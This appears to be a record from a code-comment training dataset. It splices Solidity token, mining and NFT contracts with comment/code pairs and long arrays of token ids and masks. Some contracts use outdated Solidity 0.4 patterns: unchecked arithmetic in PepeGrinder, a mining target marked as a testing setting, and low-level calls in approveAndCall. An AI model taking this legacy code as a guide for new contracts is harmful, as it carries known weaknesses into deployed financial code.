// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/PepToken.sol
// solhint-disable-next-line
pragma solidity ^0.4.24;
contract PepToken is StandardToken {
string public name = "PEP Token";
string public symbol = "PEP";
uint8 public decimals = 18;
uint256 public constant INITIAL_BALANCE = 45000000 ether;
constructor() public {
balances[msg.sender] = INITIAL_BALANCE;
totalSupply_ = INITIAL_BALANCE;
}
/**
* @dev Allow spender to revoke its own allowance
* @param _from Address from which allowance should be revoked
*/
function revokeAllowance(address _from) public {
allowed[_from][msg.sender] = 0;
}
}
// File: contracts/PepeGrinder.sol
// solhint-disable-next-line
pragma solidity ^0.4.4;
contract PepeGrinder is StandardToken, Ownable {
address public pepeContract;
address public miner;
uint256[] public pepes;
mapping(address => bool) public dusting;
string public name = "CryptoPepes DUST";
string public symbol = "DPEP";
uint8 public decimals = 18;
uint256 public constant DUST_PER_PEPE = 100 ether;
constructor(address _pepeContract) public {
pepeContract = _pepeContract;
}
/**
* Set the mining contract. Can only be set once
* @param _miner The address of the miner contract
*/
function setMiner(address _miner) public onlyOwner {
require(miner == address(0));// can only be set once
miner = _miner;
}
/**
* Gets called by miners who wanna dust their mined Pepes
*/
function setDusting() public {
dusting[msg.sender] = true;
}
/**
* Dust a pepe to pepeDust
* @param _pepeId Pepe to dust
* @param _miner address of the miner
*/
function dustPepe(uint256 _pepeId, address _miner) public {
require(msg.sender == miner);
balances[_miner] += DUST_PER_PEPE;
pepes.push(_pepeId);
totalSupply_ += DUST_PER_PEPE;
emit Transfer(address(0), _miner, DUST_PER_PEPE);
}
/**
* Convert dust into a Pepe
*/
function claimPepe() public {
require(balances[msg.sender] >= DUST_PER_PEPE);
balances[msg.sender] -= DUST_PER_PEPE; //change balance and total supply
totalSupply_ -= DUST_PER_PEPE;
PepeBase(pepeContract).transfer(msg.sender, pepes[pepes.length-1]);//transfer pepe
pepes.length -= 1;
emit Transfer(msg.sender, address(0), DUST_PER_PEPE);
}
}
// File: contracts/Math/ExtendedMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// File: contracts/Mining.sol
// solhint-disable-next-line
pragma solidity ^0.4.4;
// solhint-disable max-line-length
// solhint-disable-next-line
contract Mining is Beneficiary {
using SafeMath for uint;
using ExtendedMath for uint;
uint public latestDifficultyPeriodStarted = block.number;
uint public epochCount = 0;//number of 'blocks' mined
uint public constant MAX_EPOCH_COUNT = 16000;
uint public baseMiningReward = 2500 ether;
uint public blocksPerReadjustment = 20;
uint public tokensMinted;
// solhint-disable var-name-mixedcase
uint public _MINIMUM_TARGET = 2**16;
uint public _MAXIMUM_TARGET = 2**250; //Testing setting!
//uint public _MAXIMUM_TARGET = 2**230; //SHOULD MAKE THIS HARDER IN PRODUCTION
uint public constant STARTING_DIFFICULTY = 0x00000000000b4963208fc24a4a15e9ea7c1556f9583f1941a7515fabbd194584;
bytes32 public challengeNumber;
uint public difficulty;
uint public MINING_RATE_FACTOR = 31; //mint the token 31 times less often than ether
//difficulty adjustment parameters- be careful modifying these
uint public MAX_ADJUSTMENT_PERCENT = 100;
uint public TARGET_DIVISOR = 2000;
uint public QUOTIENT_LIMIT = TARGET_DIVISOR.div(2);
mapping(bytes32 => bytes32) public solutionForChallenge;
Statistics public statistics;
PepeBase public pepeContract;
PepToken public pepToken;
PepeGrinder public pepeGrinder;
uint256 public miningStart;//timestamp when mining starts
event Mint(address indexed from, uint rewardAmount, uint epochCount, bytes32 newChallengeNumber);
// track read only minting statistics
struct Statistics {
address lastRewardTo;
uint lastRewardAmount;
uint lastRewardEthBlockNumber;
uint lastRewardTimestamp;
}
constructor(address _pepeContract, address _pepToken, address _pepeGrinder, uint256 _miningStart) public {
pepeContract = PepeBase(_pepeContract);
pepToken = PepToken(_pepToken);
pepeGrinder = PepeGrinder(_pepeGrinder);
difficulty = STARTING_DIFFICULTY;
miningStart = _miningStart;
}
/**
* Mint a new pepe if noce is correct
* @param nonce The nonce to submit
* @param challengeDigest The resulting digest
* @return success Boolean indicating if mint was successful
*/
// solhint-disable-next-line
function mint(uint256 nonce, bytes32 challengeDigest) public returns (bool success) {
require(epochCount < MAX_EPOCH_COUNT);//max 16k blocks
// solhint-disable-next-line not-rely-on-time
require(now > miningStart);
// perform the hash function validation
_hash(nonce, challengeDigest);
// calculate the current reward
uint rewardAmount = _reward(nonce);
// increment the minted tokens amount
tokensMinted += rewardAmount;
epochCount += 1;
challengeNumber = blockhash(block.number - 1);
_adjustDifficulty();
//populate read only diagnostics data
// solhint-disable-next-line not-rely-on-time
statistics = Statistics(msg.sender, rewardAmount, block.number, now);
// send Mint event indicating a successful implementation
emit Mint(msg.sender, rewardAmount, epochCount, challengeNumber);
if (epochCount == MAX_EPOCH_COUNT) { //destroy this smart contract on the latest block
selfdestruct(msg.sender);
}
return true;
}
/**
* Get the current challengeNumber
* @return bytes32 challengeNumber
*/
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
/**
* Get the current mining difficulty
* @return the current difficulty
*/
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(difficulty);
}
/**
* Get the mining target
* @return The current mining target
*/
function getMiningTarget() public constant returns (uint256) {
return difficulty;
}
/**
* Get the mining reward
* @return The current mining reward. Always 2500PEP
*/
function getMiningReward() public constant returns (uint256) {
return baseMiningReward;
}
/**
* Helper method to check a nonce
* @param nonce The nonce to check
* @param challengeDigest the digest to check
* @param challengeNumber to check
* @return digesttest The resulting digest
*/
// solhint-disable-next-line
function getMintDigest(uint256 nonce, bytes32 challengeDigest, bytes32 challengeNumber) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(abi.encodePacked(challengeNumber, msg.sender, nonce));
return digest;
}
/**
* Helper method to check if a nonce meets the difficulty
* @param nonce The nonce to check
* @param challengeDigest the digest to check
* @param challengeNumber the challenge number to check
* @param testTarget the difficulty to check
* @return success Boolean indicating success
*/
function checkMintSolution(uint256 nonce, bytes32 challengeDigest, bytes32 challengeNumber, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(abi.encodePacked(challengeNumber, msg.sender, nonce));
if (uint256(digest) > testTarget) revert();
return (digest == challengeDigest);
}
/**
* Internal function to check a hash
* @param nonce The nonce to check
* @param challengeDigest it should create
* @return digest The digest created
*/
function _hash(uint256 nonce, bytes32 challengeDigest) internal returns (bytes32 digest) {
digest = keccak256(abi.encodePacked(challengeNumber, msg.sender, nonce));
//the challenge digest must match the expected
if (digest != challengeDigest) revert();
//the digest must be smaller than the target
if (uint256(digest) > difficulty) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if (solution != 0x0) revert(); //prevent the same answer from awarding twice
}
/**
* Reward a miner Pep tokens
* @param nonce Nonce to use as seed for Pepe dna creation
* @return The amount of PEP tokens rewarded
*/
function _reward(uint256 nonce) internal returns (uint) {
uint reward_amount = getMiningReward();
pepToken.transfer(msg.sender, reward_amount);
if (epochCount % 16 == 0) { //every 16th block reward a pepe
if (pepeGrinder.dusting(msg.sender)) { //if miner is pool mining send it through the grinder
uint256 newPepe = pepeContract.minePepe(nonce, address(pepeGrinder));
pepeGrinder.dustPepe(newPepe, msg.sender);
} else {
pepeContract.minePepe(nonce, msg.sender);
}
//every 16th block send part of the block reward
pepToken.transfer(beneficiary, reward_amount);
}
return reward_amount;
}
/**
* Internal method to readjust difficulty
* @return The new difficulty
*/
function _adjustDifficulty() internal returns (uint) {
//every so often, readjust difficulty. Dont readjust when deploying
if (epochCount % blocksPerReadjustment != 0) {
return difficulty;
}
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
//assume 360 ethereum blocks per hour
//we want miners to spend 8 minutes to mine each 'block', about 31 ethereum blocks = one CryptoPepes block
uint epochsMined = blocksPerReadjustment;
uint targetEthBlocksPerDiffPeriod = epochsMined * MINING_RATE_FACTOR;
//if there were less eth blocks passed in time than expected
if (ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod) {
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(ethBlocksSinceLastDifficultyPeriod);
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT);
// If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100.
//make it harder
difficulty = difficulty.sub(difficulty.div(TARGET_DIVISOR).mul(excess_block_pct_extra)); //by up to 50 %
} else {
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(targetEthBlocksPerDiffPeriod);
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT); //always between 0 and 1000
//make it easier
difficulty = difficulty.add(difficulty.div(TARGET_DIVISOR).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if (difficulty < _MINIMUM_TARGET) { //very dificult
difficulty = _MINIMUM_TARGET;
}
if (difficulty > _MAXIMUM_TARGET) { //very easy
difficulty = _MAXIMUM_TARGET;
}
return difficulty;
}
} | Perhaps needs better name?
| uint256 public constant FEE_DIVIDER = 1000000; | 5,781,019 | [
1,
2173,
19312,
4260,
7844,
508,
35,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
1071,
5381,
478,
9383,
67,
2565,
20059,
273,
15088,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/56/0xdeDD7a0f96a8d89B5336c66fCdFB29aa885F6aC3/sources/NinjaAMO.sol | Max 1M Ninja tokens soft cap
| uint256 public softcap; | 11,242,246 | [
1,
2747,
404,
49,
423,
17614,
2430,
8971,
3523,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
1071,
8971,
5909,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2021-04-15
*/
pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ERC20Token is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
string public name; //Name of the token
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals
string public symbol; //An identifier: eg AXM
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THE FOLLOWING VALUES FOR YOUR TOKEN!
//
//make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token
function ERC20Token(
) {
balances[msg.sender] = 10000000000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 10000000000000000; // Update total supply (100000 for example)
name = "Molchem"; // Set the name for display purposes
decimals = 8; // Amount of decimals
symbol = "CHEM"; // Set the symbol for display purposes
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | Set the symbol for display purposes
| symbol = "CHEM"; | 7,826,581 | [
1,
694,
326,
3273,
364,
2562,
13694,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
3273,
273,
315,
10390,
14432,
27573,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./interfaces/IERC721.sol";
import "./interfaces/IERC721Enumerable.sol";
import "./interfaces/IERC721Metadata.sol";
import "./interfaces/IERC721Receiver.sol";
import "./interfaces/IERC165.sol";
import "./IGBATrapsPartial.sol";
import "./Ownable.sol";
import "./GBAWhitelist.sol";
/// @author Andrew Parker
/// @title Ghost Busters: Afterlife Mini Stay Puft NFT contract
contract MiniStayPuft is IERC721, IERC721Metadata, IERC165, Ownable{
enum Phase{Init,PreReserve,Reserve,Final} // Launch phase
struct Reservation{
uint24 block; // Using uint24 to store block number is fine for the next 2.2 years
uint16[] tokens; // TokenIDs reserved by person
}
bool paused = true; // Sale pause state
bool unpausable; // Unpausable
uint startTime; // Timestamp of when preReserve phase started (adjusts when paused/unpaused)
uint pauseTime; // Timestamp of pause
uint16 tokenCount; // Total tokens minted and reserved. (not including caught mobs)
uint16 tokensGiven; // Total number of giveaway token's minted
uint16 constant TOKENS_GIVEAWAY = 200; // Max number of giveaway tokens
uint constant PRICE_MINT = 0.08 ether; // Mint cost
string __uriBase; // Metadata URI base
string __uriSuffix; // Metadata URI suffix
uint constant COOLDOWN = 10; // Min interval in blocks to reserve
uint16 constant TRANSACTION_LIMIT = 10; // Max tokens reservable in one transaction
mapping(address => Reservation) reservations; // Mapping of buyer to reservations
mapping(address => uint8) whitelistReserveCount; // Mapping of how many times listees have preReserved
uint8 constant WHITELIST_RESERVE_LIMIT = 2; // Limit of how many tokens a listee can preReserve
uint constant PRESALE_LIMIT = 2000; // Max number of tokens that can be preReserved
uint presaleCount; // Number of tokens that have been preReserved
event Pause(bool _pause,uint _startTime,uint _pauseTime);
event Reserve(address indexed reservist, uint indexed tokenId);
event Claim(address indexed reservist, uint indexed tokenId);
//MOB VARS
